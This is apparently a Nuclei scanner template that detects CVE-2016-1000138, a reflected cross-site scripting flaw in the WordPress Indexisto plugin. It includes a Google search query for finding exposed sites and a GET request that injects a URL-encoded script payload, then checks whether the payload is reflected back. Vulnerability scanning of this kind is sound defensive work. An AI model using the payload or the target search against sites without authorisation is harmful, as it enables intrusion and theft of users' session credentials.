id: CVE-2016-1000138

info:
  name: WordPress Admin Font Editor <=1.8 - Cross-Site Scripting
  author: daffainfo
  severity: medium
  description: WordPress Admin Font Editor plugin indexisto 1.8 and before contains a cross-site scripting vulnerability which allows an attacker to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.
  remediation: |
    Update to the latest version of the WordPress Admin Font Editor plugin (1.8 or higher) to fix this vulnerability.
  reference:
    - http://www.vapidlabs.com/wp/wp_advisory.php?v=38
    - https://wordpress.org/plugins/indexisto
    - http://web.archive.org/web/20210622181116/
    - https://nvd.nist.gov/vuln/detail/CVE-2016-1000138
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2016-1000138
    cwe-id: CWE-79
    epss-score: 0.00119
    epss-percentile: 0.45761
    cpe: cpe:2.3:a:indexisto_project:indexisto:*:*:*:*:*:wordpress:*:*
  metadata:
    max-request: 1
    vendor: indexisto_project
    product: indexisto
    framework: wordpress
    google-query: inurl:"/wp-content/plugins/indexisto"
  tags: cve,cve2016,wordpress,xss,wp-plugin

http:
  - method: GET
    path:
      - "{{BaseURL}}/wp-content/plugins/indexisto/assets/js/indexisto-inject.php?indexisto_index=%22%3E%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "</script><script>alert(document.domain)</script>"

      - type: word
        part: header
        words:
          - text/html

      - type: status
        status:
          - 200

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